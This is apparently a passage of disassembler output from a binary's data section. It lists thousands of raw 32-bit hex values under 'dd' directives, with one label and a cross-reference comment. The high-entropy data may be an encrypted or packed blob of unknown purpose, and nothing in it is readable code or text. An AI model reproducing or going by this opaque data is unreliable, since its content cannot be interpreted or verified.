		dd 79802665h, 0E5CE6B3Ah, 3D52F45Eh, 0D12B0EEBh, 322F6862h
		dd 0E8461877h, 9B749FEBh, 6F710E9h, 0EAC9C0C9h,	63DB482Dh
		dd 2B0C8B98h, 4039B16Bh, 0A93EE13Ah, 0D0B589E4h, 732948BAh
		dd 77D09A10h, 19BDDBBEh, 0ED5BA4CCh, 0BEA4D73Eh, 66DB49B3h
		dd 387116F7h, 0BA5A7AD1h, 0E9F13B63h, 0CC2E77CDh, 554BF9FFh
		dd 0FC010D24h, 60484530h, 0D115E53Bh, 0DD877A25h, 48934B82h
		dd 4DDB3BCh, 2CA2EB80h,	0E40CC25Eh, 7B645A07h, 9285EF0h
		dd 87B050D3h, 0BBFEE304h, 0E81340C7h, 35420266h, 77E9D820h
		dd 0F068ADA2h, 8BD12F6Bh, 0E2356AE2h, 0BB4187E8h, 1CFFCA7Ah
		dd 75253625h, 9AAA2813h, 77418090h, 0D05E8525h,	989D2093h
		dd 77545127h, 0D397349Eh, 0CB1F9589h, 0FE89F70Fh, 0A821D72Bh
		dd 76082C68h, 712F094Eh, 8817518h, 20F81719h, 0DFA2CDD1h
		dd 3270080Ah, 1789C512h, 0E9065BFBh, 0EC89542Ch, 0CE1F1629h
		dd 0F118B46Eh, 0A174050Bh, 0BEC500B5h, 2675F70Bh, 20A6CE29h
		dd 0C352DD08h, 52B834EFh, 0CF672A06h, 9DC6A32Ah, 0C40080D0h
		dd 4B56F473h, 0C0B9D3E9h, 626BC573h, 29343AE2h,	801B8DDh
		dd 5DE8895Bh, 7C48A471h, 0B2F45BFDh, 68531F74h,	57D63CC4h
		dd 5C76A4BAh, 4E522F9Fh
		dd 2063308Eh, 7503FD3Dh, 344285E6h, 80AA002Dh, 0E9DAFFBFh
		dd 2FABD208h, 92D185C1h, 0C8AE5610h, 5F5C5E1Ch,	11D28424h
		dd 0F063AD1Eh, 33F06AC9h, 0EC6809A2h, 0EEEC3014h, 0BD1897F6h
		dd 0C7253D31h, 0E5EA000Bh, 28DE55CFh, 0F9A4505h, 7C83509Bh
		dd 0D9CEBA6h, 1419482h,	0F8B8000Fh, 59CF267Fh, 6124102Dh
		dd 865FB07Dh, 0D3DFF6FCh, 8F3A0E08h, 8160D2E9h,	6A4ABBE9h
		dd 0B93FE189h, 5AB6D6A8h, 3C409573h, 0D572F6DAh, 0FA7586C4h
		dd 8D9521Eh, 811F0AC5h,	0AF05B9C4h, 0A9F73E82h,	0BEF340DFh
		dd 82E9B32Fh, 7239E3CFh, 0DB20B054h, 90305F48h,	87DE6208h
		dd 0B1BA5DE7h, 307B465Dh, 0CB7F8252h, 3D702268h, 0F69D4B50h
		dd 5C3F3608h, 2ED80D01h, 25FAD9F7h, 4F6826DDh, 4DD0C98h
		dd 68796715h, 4AD7EA5Eh, 7239F6F9h, 5208EF79h, 0A4D82D28h
		dd 0DFCB2799h, 60DD4329h, 82D04FB4h, 0E3C341F7h, 0C868C46Ah
		dd 7B1DD24Dh, 0EF8742E0h, 4A8645C9h, 48710D0Ch,	0B142622Ch
		dd 5D5874DEh, 0B030660h, 29396977h, 80C23E2h, 4A06920Ch
		dd 13E93FAEh, 84948079h, 10D2717h, 82FFB494h, 6D23E7DAh
		dd 8CE2E076h, 0BAA2C00Ah, 30DE0F28h, 637EC9Eh, 6822F2F2h
		dd 4B04D0CAh, 2E30B984h, 331C9052h, 91DD5B38h, 13E80730h
		dd 0A2F8C30h, 1D06EC3Ch, 621CC4EDh, 0E96EC038h,	2A9CEF89h
		dd 0EC0FC483h, 520C007Fh, 0E946DA4Ah, 3FE1BCA0h, 62D3E6E9h
		dd 7D72951h, 28F8A225h,	8D4EA038h, 6309F16h, 0A3D46B1Ch
		dd 2D2504CAh, 3483482Ah, 0E05AAA76h, 3091EB43h,	0C3B03734h
		dd 0AC251487h, 7249E07Bh, 245360C1h, 0C21D1EF7h, 8574E916h
		dd 3F9F21BFh, 95EC2BFDh, 495D5CA2h, 5AF7E331h, 4DBCE030h
		dd 84F7907h, 77F1BA52h,	0F200D64h, 5B1D09F2h, 0E7007A6Eh
		dd 0F81FFB4Ch, 0EDB8294Ah, 44171318h, 801DC3FEh, 0F5797ECBh
		dd 58B740EEh, 83E925D9h, 4DF7C742h, 2159090Eh, 50CCEA40h
		dd 0ADEA2DC1h, 4BFA617Fh, 8189537h, 2466D81Ch, 0C8D63F1h
		dd 2DE8CEDBh, 7B6FD438h, 6E054003h, 43BBC49h, 8C09C8DCh
		dd 0E291BB77h, 1788FE9h, 0C618634Ah, 6B2AFCE9h,	0CE13B2A3h
		dd 0F714F445h, 4B7C5309h, 6095001Ah, 0C05FB340h, 21A55218h
		dd 1625E9B7h, 25F97A4Ah, 0D356DACFh, 9F9EF173h,	2D31982Ah
		dd 0D5011825h, 11553E32h, 16E9E99Bh, 0B598F6Ah,	6631BC68h
		dd 804C0964h, 0B187E2F3h, 0AEC56286h, 0CDD8B263h, 0A16BE94Ah
		dd 521E004Fh, 0AA563968h, 0E3AD4320h, 0F1C05AF3h, 664E9C74h
		dd 2CE60BFBh, 830E556Dh, 0AAEFE982h, 73CFDA6Bh,	9B25FAA2h
		dd 0EF4240CBh, 7A2A44Ah, 107121CAh, 0F2E0AE4Fh,	163C5C33h
		dd 4224E92Fh, 0B8A980C9h, 0B07ADB29h, 2EF807ADh, 67C12817h
		dd 22CE9008h, 4448216Bh, 7EA0129h, 2FE91883h, 687A8035h
		dd 0EC05C092h, 0C8B15106h, 23D22B9h, 0F004E198h, 2981DF39h
		dd 89F047Bh, 46590984h,	4BBDF89Ah, 2C34AFE4h, 0F3A095C5h
		dd 79FD0CBAh, 1ADE5E4Dh, 76CF3C12h, 1C533407h, 9EF0335h
		dd 0E7FD21DAh, 40B83CBEh, 0A3133E48h, 93E15DE5h, 144C148h
		dd 7E5E72F2h, 0C7BCD15Ah, 0CDDCE2E7h, 6804BB45h, 8BBF1680h
		dd 0A5E90CF4h, 70B60A15h, 0F1F14F68h, 40FBD19Bh, 0E9C0EB98h
		dd 6060465h, 5889C0Fh, 41A9D653h, 1FAAC602h, 645752FBh
		dd 0BFA927CAh, 723520B8h, 0D0D6062Dh, 65584A3Ch, 40D7B362h
		dd 8A4CB7C9h, 85480B3h,	27316491h, 9E625EF3h, 922F8D40h
		dd 0FC3BCE25h, 5382129Bh, 0B3AF546h, 10FA41B2h,	67F780ACh
		dd 0A217EFE6h, 474EFA28h, 59EA07B4h, 8AE9CA00h,	0C7C5C4DFh
		dd 0CF805D01h, 7B5621AFh, 47D704F7h, 0D20720E9h, 0C0F7DEBFh
		dd 271DEA44h, 5801735Eh, 40217A22h, 4E59CB5Bh, 0D89D6A51h
		dd 0D72D25A9h, 46AC06Fh, 0E9600DA7h, 0D86FAC07h, 17277BABh
		dd 7818D74h, 79C96483h,	0EDE025EAh, 0DD48F703h,	4D011379h
		dd 0DE9D7305h, 0F5934CECh, 2A5DF192h, 158EE81h,	3E4C77DEh
		dd 0E80A0C2Dh, 275846A2h, 0C15A801Ah, 0D9AAC227h, 802597A9h
		dd 71C30569h, 56DC1F05h, 0CFAC689h, 8FFA58F8h, 0E9072633h
		dd 0C5C8D312h, 0F714DBECh, 0FA6002D3h, 0E2392D4Ah, 16602958h
		dd 0C2916323h, 8C3AB5CDh, 68155A34h, 12E76A21h,	0C7AD4DBDh
		dd 50CE3810h, 0A50BE6BFh, 33FD40h, 0CA7EACC4h, 82DA9E41h
		dd 40493E28h, 0D625407Fh, 0DDDFA95Fh, 0E279F5FCh, 0C0164FDh
		dd 86A182E6h, 25DBC97Dh, 662C13CFh, 5E23AE50h, 68D4B158h
		dd 0F746DDEAh, 24D0F89Fh, 401CA04Bh, 74605928h,	699EB0A0h
		dd 18071630h, 12AE08A5h, 0E06EE912h, 0A609BE51h, 0F45BFC22h
		dd 0C44612CCh, 0F9E10B98h, 70098900h, 0DA9D1AD2h, 5E0880C9h
		dd 0B7D34C29h, 3FC4C303h, 0BFBD5379h, 0C2172CCBh, 9C70EA0Dh
		dd 0B5010261h, 0FCB277C5h, 0A27F0BE6h, 0D67E2EC3h, 78066029h
		dd 0F4986D95h, 67284901h, 0F540E961h, 7A16F66Fh, 579CE22Ch
		dd 5F04A6C4h, 0B55FA088h, 0F6AE89B7h, 6B45338h,	0A55DD27h
		dd 7A020D5Dh, 522CDEh, 793C2B8Ch, 0D1BDFD01h, 190B6390h
		dd 305BF504h, 40AF4052h, 4C7FA37Bh, 0C54AE93Ah,	8FEECE84h
		dd 22E912E5h, 0B0508640h, 58C1804Ah, 0FD7552E5h, 128358D5h
		dd 0BBB652FFh, 0F47CEEF9h, 0C076A1CEh, 155C0C7h, 20AFCB1Bh
		dd 68253872h, 6FBEF4DDh, 95E234A9h, 2D17E7DFh, 91687082h
		dd 0EC2C97Ch, 0B590A2Ah, 0F0DE0256h, 17AAA265h,	5FF0B891h
		dd 22C1ADA2h, 69448010h, 4C9805C5h, 88AE0D69h, 1D59FACCh
		dd 9EB85BD7h, 0B0C83EADh, 3941B2CCh, 0D135CA31h, 44139108h
		dd 3EE00469h, 6A23136Bh, 0B56D5E12h, 0A77D0408h, 81CCEFF2h
		dd 210801E7h, 0DFF717CAh, 4962B252h, 0E0D95F5Eh, 2E10E52Ch
		dd 0DBC55D27h, 95451CAFh, 0A888CE7Ch, 0F33A97C9h, 14ED4C46h
		dd 9971E27h, 0F3B63CE9h, 8B4E2515h, 220CC90h, 0EDF09FC1h
		dd 2BE1D081h, 680935CAh, 18D133AFh, 11D7D28Ch, 4B5CEEE0h
		dd 867DB282h, 0BFFF684Dh, 442AA5F0h, 0F305CB6Fh, 49236A1Eh
		dd 0F84A83B8h, 80423C3Bh, 9E2D74DDh, 7177CE0Eh,	25FD0535h
		dd 9011E968h, 1202B9F1h, 81526307h, 23006CC9h, 456FE978h
		dd 5979D87Bh, 6788C44Eh, 0BB904095h, 5516830Bh,	419BC25Ah
		dd 0F86A0467h, 0F6FC9246h, 845AE94Fh, 0D6504B18h, 96F7BD5Eh
		dd 0B3B68C2h, 0F301E055h, 3F9A3E35h, 4DD6FD99h,	8FAECA5Bh
		dd 0CBFF53C9h, 441862D2h, 680211B7h, 5BB1D764h,	0F49165BEh
		dd 0C69F0AABh, 4E9B0A3Ah, 0B733763h, 5410D02Bh,	0D182512Eh
		dd 5EF7895Ah, 255B4ADEh, 9EDD56E9h, 0E8575F83h,	4E0E0195h
		dd 425A6475h, 8854AA70h, 272F49CFh, 824D6213h, 0FEE08B2Ch
		dd 68596012h, 0BB9C6093h, 13A7C66Ch, 0C8083019h, 9440EA2Fh
		dd 0C06FEBC0h, 500451F3h, 2CD0281Dh, 0DF885A0Bh, 0E1C07030h
		dd 8DF12AC7h, 0E9C9DC3Fh, 0A402F059h, 704A98ECh, 1A670265h
		dd 0A89AE957h, 5EAF3354h, 3FF6015Ah, 391F3953h,	0C4E109Eh
		dd 26636809h, 26C07F1Ah, 2B2DB81Ch, 4202D56Ah, 92A05AD1h
		dd 37D83C71h, 14303198h, 58C6397Fh, 6D65CF7h, 119B333Fh
		dd 21C80C48h, 708035F4h, 26DB283Fh, 14760BBDh, 0AFCC6CA8h
		dd 90136EF3h, 0BD6B0439h, 86E9C5D1h, 0B806EEFCh, 0D6612731h
		dd 573F9924h, 0F800ED96h, 5A3367C5h, 4984BF73h,	8F5DEB29h
		dd 73F1D5D7h, 0D4C5F32Ah, 79032F5Ch, 0E05E3436h, 2B916627h
		dd 880B5145h, 0A3997552h
		dd 1581E807h, 0FB20015Bh, 71471003h, 9F09041h, 1B5574F1h
		dd 1AFCC88h, 3B24210Dh,	0FD183F5Ah, 757A24h, 0BA521CD8h
		dd 181FB76Fh, 0E912017Fh, 0E664FF0Dh, 0B413B6F9h, 0D68AFEEh
		dd 905E4E62h, 902E30D8h, 72515Ch, 0DBF2DBCh, 199EBE56h
		dd 0C0185360h, 2FB376C8h, 0FA225007h, 401B4F1Ch, 8E527C21h
		dd 0FA412926h, 95F0803h, 0C1835AAAh, 0D486EE82h, 496E7A9h
		dd 27EC7BB5h, 38B41E7Dh, 17421FD9h, 5ED85D54h, 645E4EF5h
		dd 1024BD47h, 214EC67Bh, 0A8F1AE05h, 2001AF10h,	5159CC08h
		dd 0C3E694B5h, 39CDE083h, 0F5E0E7FEh, 0EC301F77h, 0E3EB8F59h
		dd 3A7CC3CFh, 95EAAAD0h, 9320E094h, 685009A7h, 3A513358h
		dd 95B6181h, 1534535Eh,	7D70054Bh, 0B055873h, 0B905B06h
		dd 65E4439Ah, 0A8910F1h, 28754CC0h, 809D5D5Ah, 28204A65h
		dd 0E390C101h, 732ED70Bh, 8E63802Dh, 18FAAD1Bh,	0F4FC76E9h
		dd 665E3C0h, 26A068C6h,	0E94912F3h, 35A0B07Ah, 1E6E109h
		dd 71F02955h, 0D7E90592h, 0B232AFBCh, 72D8D5CAh, 0FEC8F60Ch
		dd 12FD0ACEh, 0AB5AF488h, 3DC32F48h, 0B5938CCFh, 0EB283F12h
		dd 0B204F8ACh, 0E0F2E922h, 0CC7730F1h, 0EC04CF2h, 0EB4F05B8h
		dd 0FFBF041Eh, 0FFE114B0h, 0F1AFE404h, 56F58100h, 0CD269E0Dh
		dd 9080755h, 1EEA20D5h,	96E828C5h, 68F0C0B6h, 0C2E11E7Dh
		dd 0F2290AA1h, 89B03A5Eh, 358E3F60h, 448B8F2Fh,	0DE9F4BD0h
		dd 0C9E9C258h, 0C23C69D5h, 4F9C1D60h, 24EF503h,	60F75D08h
		dd 5D9D68DCh, 0E2823579h, 0E6C60107h, 0F1C70425h, 0C1574549h
		dd 0D05DE67Fh, 0D014835h, 12DE6869h, 3471D92Dh,	11E35DCEh
		dd 185EFDAAh, 7DA1EEE6h, 8D5B27EBh, 0C05AED7Ch,	3E332A13h
		dd 0F71A34E0h, 84DD0D28h, 9C92ADB4h, 3F474D1h, 0EA73F97Ch
		dd 505B7825h, 0AA202D69h, 0CB1040F9h, 2D54BA0Eh, 0A7D90977h
		dd 1675C442h, 0B05CB5FCh, 48BD5508h, 2BFE02A8h,	0CB086DD2h
		dd 6679CB01h, 0F1FC4962h, 8A781308h, 109F1842h,	72274869h
		dd 80F9F46Eh, 0E0CC1DAEh, 594BCA29h, 2F1005A1h,	0D1209EAh
		dd 0CA013571h, 5908026Eh, 0A77165DFh, 0D6135D53h, 0D560EC53h
		dd 0A43CC2Dh, 0C829698Eh, 88050C84h, 640FC66Fh,	0CB0C3004h
		dd 5D45B1F7h, 0E9C97C32h, 5C4F2B7Fh, 2EFE0719h,	5FA0CEC7h
		dd 5A7BBA13h, 0AD174595h, 0C45FD56Ah, 9870ED87h, 0CED78AD1h
		dd 6A576E42h, 9BC14437h, 97013453h, 390719F6h, 4BD41661h
		dd 20FD98A2h, 5B4D3F9Bh, 940FC478h, 840BBB13h, 496D741Eh
		dd 0FA49740Fh, 16FD9529h, 0BF572147h, 20107DADh, 69BFE3E9h
		dd 0D0709C31h, 0FC015F6Fh, 1684B410h, 4855D8D3h, 72160B50h
		dd 2D62E036h, 38A57D41h, 0C3795A51h, 8336832Ah,	1E0B6640h
		dd 0BBE3034Ah, 7404964Eh, 2F3ACB14h, 5F081C62h,	3DFA5A52h
		dd 83AC2A90h, 820928E2h, 9C3215Ah, 0CC0F9F72h, 0A77DEF25h
		dd 0DF09B127h, 8BA6D1C7h, 0A7148DC8h, 43A6040Bh, 51877525h
		dd 32AAD864h, 0C292D277h, 62578542h, 81A7F6DFh,	49130A11h
		dd 6B833559h, 0C9F86A2h, 0FC737329h, 2ABAD64Ah,	0A1D84AF5h
		dd 0F68E9F60h, 41C2A4A6h, 0C5694CC4h, 0D6A0DFC1h, 71C0AD02h
		dd 932D6C32h, 8BA85C6Ah, 0C414AFA3h, 703D8048h,	0C175E175h
		dd 1A69F6EEh, 683900F5h, 5C2A7023h, 0AF2A0918h,	4A5EDD81h
		dd 2DF3852h, 6044F5EBh,	0B4001D54h, 0E912C974h,	70E79A3Dh
		dd 772005BAh, 0AAEAD17Ah, 0C3CAFB0Eh, 0B731DD57h, 0BA69D7A0h
		dd 48E91296h, 0DC2CF5FFh, 0A6913E85h, 0C2DE501h, 0EDD825A3h
		dd 58CB1217h, 0B3FF898h, 7A6D3E68h, 208995D1h, 0A78167DDh
		dd 66E91430h, 4F581240h, 5006F84Bh, 4307FD56h, 0DFF7494Ch
		dd 2080E7B4h, 0E86910EFh, 9C0CC107h, 2B6C62E8h,	1789B9B0h
		dd 853EE9DAh, 0CA6AB78h, 4D6BE982h, 43929D46h, 700C95Eh
		dd 0C15BDF21h, 8DE095EFh, 7B2E29A4h, 0D23C2C05h, 0EB0193E0h
		dd 627B43AEh, 5C34D26Eh, 0C501AC64h, 0FF29ABD9h, 77FAEE31h
		dd 0E92D7066h, 5312851Bh, 79C4F3F2h, 0AE0F1317h, 768225ECh
		dd 8000EFEDh, 578F47Ah,	0E60A81CBh, 0F7ACE987h,	26E05993h
		dd 5C397460h, 0F520344Ah, 0FEDD3001h, 0DC8850C3h, 9730EBC9h
		dd 0FC20805Bh, 5F2F4CBDh, 5DFB145Ch, 0EDCB7E17h, 34178620h
		dd 0D0012EC7h, 2E88FD9h, 0A14443EFh, 68E1D0A6h,	8B2612A9h
		dd 608BC44h, 20572778h,	0A35E1472h, 0F129797Ch,	0A40888EEh
		dd 98526212h, 52823FADh, 0EF7F5053h, 43DAA5BDh,	2523B058h
		dd 0DEB1C2F2h, 0EB90985h, 6B55B699h, 0AD4F54B7h, 0D37684ADh
		dd 0F2E09EDh, 55418C57h, 1D00DB26h, 0DD89268Bh,	0CAE9095Bh
		dd 0B9F382B8h, 7C2FFCF5h, 12E7277Ch, 6C12F058h,	0AF57E35Eh
		dd 8FFA91C4h, 96B46C0h,	90D4F4E9h, 0B71254D3h, 0E8B50EE3h
		dd 231C09B0h, 2C90247h,	43E282D1h, 9A75A1Eh, 0D1A663Fh
		dd 0EC2BE0FFh, 2D92C011h, 6966990h, 0A55ECCF4h,	87EFED24h
		dd 0A61B2D7h, 2142CCDFh, 10BC56B3h, 0E913129Ch,	0A384C7CFh
		dd 152C542Ah, 4CFDD2Fh,	0CCB9B236h, 87060A09h, 0DFC12A80h
		dd 345D8E5Dh, 0DBD05A0h, 0A2BE1763h, 7D2A758Bh,	47A45172h
		dd 4816302Ah, 0AB1CE910h, 0EB565A12h, 0E916818Ah, 614E989h
		dd 430170F7h, 0C5EF096Ah, 0E6823210h, 0CB2E22ABh, 9545F819h
		dd 4DF611E6h, 1DDC95Ah,	71E19575h, 1880EE05h, 0CC3F0968h
		dd 0B19DD97Bh, 27A51B4Eh, 0E120C2C1h, 1CEF998Bh, 0EB1B166Fh
		dd 2D864154h, 56FBFCC3h, 58F65F50h, 794E5100h, 4939E281h
		dd 0FC5E5011h, 0F65A9F06h, 0D0FDE927h, 0DE479D88h, 0B63082BDh
		dd 0FF31C06Eh, 0C825ABC6h, 0D07CD663h, 0AD4FE956h, 8817FABCh
		dd 0C00060FCh, 801208ECh, 0BBC413F4h, 5AE0F3ABh, 228604A6h
		dd 0C30B9792h, 0F20CA0Ah, 0E4BE8E49h, 50FB6A41h, 0E74808F9h
		dd 5CD7094Eh, 1CF33300h, 70FD4EF7h, 79164D31h, 368070D2h
		dd 0C101C183h, 681BEB3Eh, 8F5A8525h, 0D8C48CBFh, 470DE3AEh
		dd 0FD984B52h, 71E918F2h, 7FEBAFF4h, 2E813C4Ah,	0E56AC7C4h
		dd 3928DC1Ah, 0A0DBC5B5h, 0E0504CE6h, 0A4567105h, 0CF7E8812h
		dd 546F3804h, 55804F11h, 1C062D8h, 0F3A5B8FAh, 0D1E9BF6Ah
		dd 0CF606CB6h, 4B38FCF8h, 0E9B1E9EDh, 0B0C12B4Fh, 0A72BF701h
		dd 81314F47h, 0B2363A8Ah, 0A686BC5Fh, 644DE6h, 373EFC11h
		dd 0B9005C69h, 0ED4B2374h, 1407B57Dh, 0F97FE040h, 4A9F48D6h
		dd 0DF6DEFBh, 0F16A445Bh, 8F04136Bh, 0C9BBBDE4h, 6F33F890h
		dd 0C9251BBFh
dword_4F0044	dd 0C1027C9Ah, 715405Fh, 0BAEC9F82h, 700BC038h,	0EB61D495h
					; DATA XREF: ___:00437A2Co
		dd 0F3591D07h, 0FBFD2161h, 4A08A110h, 0F63B9489h, 0EE8D186h
		dd 0AB68C80Fh, 69CAE63Dh, 44FDBD86h, 0B09381F7h, 0C909DF80h
		dd 0DD48840Fh, 0A86373BDh, 1DE0267h, 0F98740A2h, 9F9850DDh
		dd 7F08DC53h, 67046F33h, 591FCD6Eh, 84C72D68h, 0B30CFC90h
		dd 0D8779192h, 35B96EF1h, 2D970596h, 9D9BAEDh, 0FF6A803h
		dd 0D977BA21h, 0D731DD01h, 353E205Ah, 64084404h, 4084FD29h
		dd 98410810h, 706E923Ah, 95425099h, 0D3469575h,	7E1B9020h
		dd 0A0C12059h, 71415CC1h, 0B3EC1CCCh, 5EDB999h,	0FEE83002h
		dd 0E17E79CEh, 0FA01347Fh, 0B71702F3h, 0BF1E0095h, 8EE9C334h
		dd 0AC2B80BDh, 0B42AE268h, 52206E2Fh, 0C2FE60B2h, 14E665Ch
		dd 0ECD0DDB4h, 303E2F68h, 0C911E976h, 71A4F4B7h, 0FC70FDEEh
		dd 0A4B687Ch, 5F1B23FEh, 8E93117h, 8841D4A3h, 9F2BBE65h
		dd 0B85001F3h, 7EC20FAh, 1748127Ah, 0AED59578h,	0F31EA5C1h
		dd 2D11A36Bh, 54676158h, 0D416D5D6h, 0D66775B6h, 0AB46FF09h
		dd 0C64B4EF6h, 0D92B5620h, 9D017373h, 0EF680265h, 0F430F116h
		dd 0A630A968h, 25808489h, 5866DE54h, 59773F0Bh,	767A5036h
		dd 5CFA98CDh, 0FE2F6339h, 0DA5B56DEh, 0EE15E4F5h, 0A4094E3Bh
		dd 82241152h, 540F2F39h, 86E5A906h, 97E65D05h, 0E9784B76h
		dd 0CC7E4E14h, 0D24EBEF1h, 27D428E8h, 0CBFC5D2Eh, 1FA08166h
		dd 6DF2807Eh, 0ACFFE7Ch, 8DE405DEh, 30919D80h, 4FC698E6h
		dd 7592491Fh, 0D9688B21h, 13006610h, 7390CECCh,	493515CFh
		dd 0E987FF0Eh, 0C7A1DA98h, 128D1109h, 3660C64Dh, 0AD3A67E9h
		dd 0E8A41678h, 0BB5B2AE7h, 58C4B837h, 6B122DBFh, 724BF1A7h
		dd 0C2A2AC00h, 0A7C0525Dh, 0B5F1780h, 0F0016FF8h, 46575A22h
		dd 0DCE6E14Eh, 38484A56h, 0F79F0098h, 72E9B8A6h, 2EB69F46h
		dd 4C9DA1h, 957E6D68h, 104BF6F9h, 96CD6BDCh, 77AF447Bh
		dd 29EB6025h, 84AC6F75h, 616268E0h, 7ACBE5CBh, 3CBB3E39h
		dd 0FD41E49Eh, 3A14DB2Dh, 0D7545EF8h, 0CCBF3189h, 6DC4B5C1h
		dd 83FE0128h, 0D52DB61Dh, 0E209D7E8h, 0F821070Bh, 0EB5931FEh
		dd 7F04FF75h, 0C7FC74D9h, 0E049D39Bh, 0AD40CFE2h, 339C0BB8h
		dd 9BD57BB3h, 0D101AC4Ch, 0F64B5067h, 0A20002Ah, 0C2E092B7h
		dd 68220F5Fh, 0AA5F127Ch, 5E72BD9h, 0DF179D3Eh,	1DC1BF43h
		dd 7235F6E9h, 0B2D0656Ch, 2D21EC4Ah, 0FED46EE6h, 5B6872D8h
		dd 81213010h, 24A4A57h,	84BA9F13h, 26BE86D8h, 0F295F497h
		dd 0B277E5A9h, 1331C1E9h, 0E5CAC007h, 83E57818h, 5D37700Ch
		dd 0B3241634h, 6129FEF9h, 0F73A1B21h, 0FDAD5B06h, 1DA86C4h
		dd 0EAC003B2h, 0FEC8D5FAh, 519A8C5Bh, 0DCD801Ch, 0DF26E5CFh
		dd 0EF424252h, 463D6168h, 3B09B14Ch, 0E16DA85Bh, 0CB9926D7h
		dd 0CB60A0EAh, 774EEFB0h, 1897A74Ch, 68C991C1h,	0D30BD56h
		dd 0C60D60F4h, 0D14C3147h, 27A73624h, 1E190109h, 0F168CDF9h
		dd 3EA73F55h, 1CF65C10h, 79A75258h, 0B3086990h,	394C525Fh
		dd 8792E925h, 97CA5EABh, 7057B900h, 0BBB4942h, 583E1545h
		dd 280BFCD9h, 4A45832h,	0B39736EBh, 7FA3BB40h, 0F0525A1Fh
		dd 1C169C8Eh, 35587E14h, 0A1927F06h, 0DA4820A5h, 8520CE17h
		dd 186E3C73h, 8EF28132h, 291D45EDh, 0F01BE9D0h,	5CCA2027h
		dd 4DE18102h, 60701E20h, 4A4AE86h, 49E9167Fh, 2871A2B1h
		dd 7541CD59h, 994BB2F8h, 49509EE3h, 3B55A9FBh, 0C562D9B1h
		dd 0A9D07B6Dh, 990EF600h, 6722D47h, 0F81F5E25h,	34E5A027h
		dd 2C21753Dh, 3BF781h, 0F809132Dh, 223C355Fh, 2E493018h
		dd 7C910503h, 0C1FE5ADBh, 1F231A2h, 8F20535Ah, 3D29BABCh
		dd 493CD109h, 226C7F99h, 25E0E45Bh, 4A0A860Fh, 0EBD6A574h
		dd 0D635CBBBh, 0A9C0720h, 424B9E01h, 96573B78h,	930E20B9h
		dd 0C8495D7Dh, 0F0E740Eh, 0D4017F20h, 0DB612CC8h, 69176885h
		dd 9DF35488h, 2CB1085Bh, 78A80855h, 3D3773CDh, 709673C5h
		dd 772FED34h, 0D103A125h, 6F9D8B65h, 975C70DEh,	0E2A2C0DCh
		dd 52F764FBh, 0D196812h, 0D1C0A7BCh, 5742E140h,	0D56134B0h
		dd 19F1E90Fh, 0D2CF299Dh, 59D54FF7h, 3CE0E1ABh,	801C08B5h
		dd 0F5399AEAh, 6630C275h, 0E9F61459h, 0F5985E43h, 4E9800F8h
		dd 2AF50CFBh, 0A4B1B212h, 1E3B548h, 0B1F7F86h, 7EE6FDE9h
		dd 411A96B6h, 0FAD713DBh, 20B798ABh, 0C700AD50h, 5C8D2047h
		dd 77295862h, 645D5E6Fh, 0C44FB2E5h, 0F6FAEAF1h, 4FDB91C8h
		dd 50DA74FEh, 5F2713C8h, 0E97118E4h, 0D9E9D641h, 9BBFB58h
		dd 7346039Fh, 5760005Dh, 4829319Ch, 161FA7D9h, 40194F01h
		dd 94C435C6h, 0FBE40BA3h, 0BD26B293h, 62E5CDAFh, 7F9658DCh
		dd 821FDE69h, 0EA45C27Ah, 0D3407F42h, 7682B668h, 0A9B70996h
		dd 690B9877h, 27872725h, 0CE843D4h, 47E95806h, 84434C43h
		dd 7F412A01h, 71D8014Eh, 784335F2h, 0C2D0C4CEh,	6AEDB900h
		dd 899503A6h, 8A728059h, 0B792E442h, 882A7850h,	0CB77979Ch
		dd 4E30B85Dh, 2E2C2DEEh, 9BA1C0F8h, 0F3B6248h, 0B2EA40D8h
		dd 95452ACCh, 8C9093D8h, 9A1C0A05h, 82C04E72h, 96467EDh
		dd 0BB6CE962h, 0A4BD3C53h, 0FAA39AA3h, 8630412Ch, 1ECA79E6h
		dd 4068501Dh, 0E93D8B25h, 4EA2C34Bh, 205441h, 0BB1F9668h
		dd 5160435h, 0DA548218h, 9F7A742h, 8E71F9FDh, 0FF133948h
		dd 0E82A4BD9h, 0FED5F192h, 0FBD9886Eh, 0EB04B992h, 3F7F7DFCh
		dd 6DF8ED80h, 6D2E5C48h, 9A80072Fh, 4FF3814Bh, 0DA4C763Fh
		dd 1673FCBDh, 0CC7FFA68h, 0B75E308Fh, 0DD621FAh, 0DED2938h
		dd 3AF63B07h, 0B50877A0h, 8FD61C09h, 9510E958h,	0E5DDAD89h
		dd 0BFF2A58Fh, 411A6812h, 5B934FCCh, 4F18B2A2h,	0C54C2461h
		dd 4A30E76Ah, 0F76EB9F1h, 6A1BC156h, 167A388Fh,	0E5184014h
		dd 2CE97095h, 0BD5AB040h, 48526379h, 321EB8A9h,	4CAE22E5h
		dd 0D0A583F1h, 38D1B01Fh, 885AC09Ah, 0C9403EE2h, 0C65258ACh
		dd 0E5F810h, 5519CFB8h,	862D31h, 510EA1Bh, 6923250Dh, 75133506h
		dd 725AAC2Ah, 0BA5EB7C7h, 39E18352h, 0B6FF84F4h, 25E785C2h
		dd 95688CD3h, 81C334BBh, 7EE16230h, 39820A34h, 0C81CF5EAh
		dd 834017FCh, 311B0ABBh, 0ED562BAh, 71E26498h, 207FDBF7h
		dd 1612F35Dh, 237766Bh,	1074F5EFh, 35FE297Eh, 0D0970820h
		dd 7EF0BEAh, 0C5213FE9h, 30B621B5h, 509CEEB6h, 0A9B15160h
		dd 0D4C965FEh, 1706A398h, 1145BFECh, 8C065EF7h,	0BD12D3A3h
		dd 20A4A0D6h, 97EC5927h, 0C10EB0DCh, 2180E762h,	3F420917h
		dd 0EDD142C3h, 7EF62466h, 51EC125Bh, 0C2E9CB4h,	7AD11D40h
		dd 1C22DE2h, 1FFA5FF0h,	0E0E3BF5Eh, 0E0F81296h,	2209BF06h
		dd 7D3AF645h, 0CA08022Eh, 681C0401h, 0C74D18C4h, 5EC23760h
		dd 87364507h, 771381D6h, 218C3B72h, 0C5A462A1h,	34ED4A3Ah
		dd 79BA6884h, 0FEC4B1B8h, 75509A5h, 449BCB5Dh, 11FC9558h
		dd 0F43388B1h, 97B3BA04h, 3F598FD9h, 5D8B8E28h,	8101C1C1h
		dd 8A360CEDh, 9B816B0Fh, 242A9BA5h, 0EC15B1CFh,	0D99FDAC0h
		dd 0B083927Dh, 0A02DB6B2h, 5D170E80h, 5AD7DE7Eh, 0C20DDDA7h
		dd 202FEFC9h, 42DAF71Bh, 0D2A0E2FEh, 48B168A3h,	61461C0Eh
		dd 59C8312Eh, 0D9409AF3h, 961295DCh, 311A896h, 5728D526h
